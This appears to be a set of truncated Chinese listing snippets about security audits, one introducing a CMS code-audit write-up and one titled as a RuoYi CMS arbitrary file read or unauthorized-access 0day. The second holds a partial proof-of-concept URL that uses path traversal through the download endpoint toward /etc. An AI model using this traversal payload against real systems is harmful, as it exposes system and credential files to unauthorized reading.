前言1枚很简单的洞,昨天有看到公众号写了这个cms的审计文章,但是没提这个洞,所以这里简单分享一下。目录源码扫描Fortify SCA漏洞分析静态分析(phpstorm)动态调试(phpstorm+x...
若依CMS 0day 任意文件读取 or 未授权访问
若依管理系统后台任意文件读取POC:https://xxx.xxx.xxx.xxx/common/download/resource?resource=/profile/../../../../etc...
55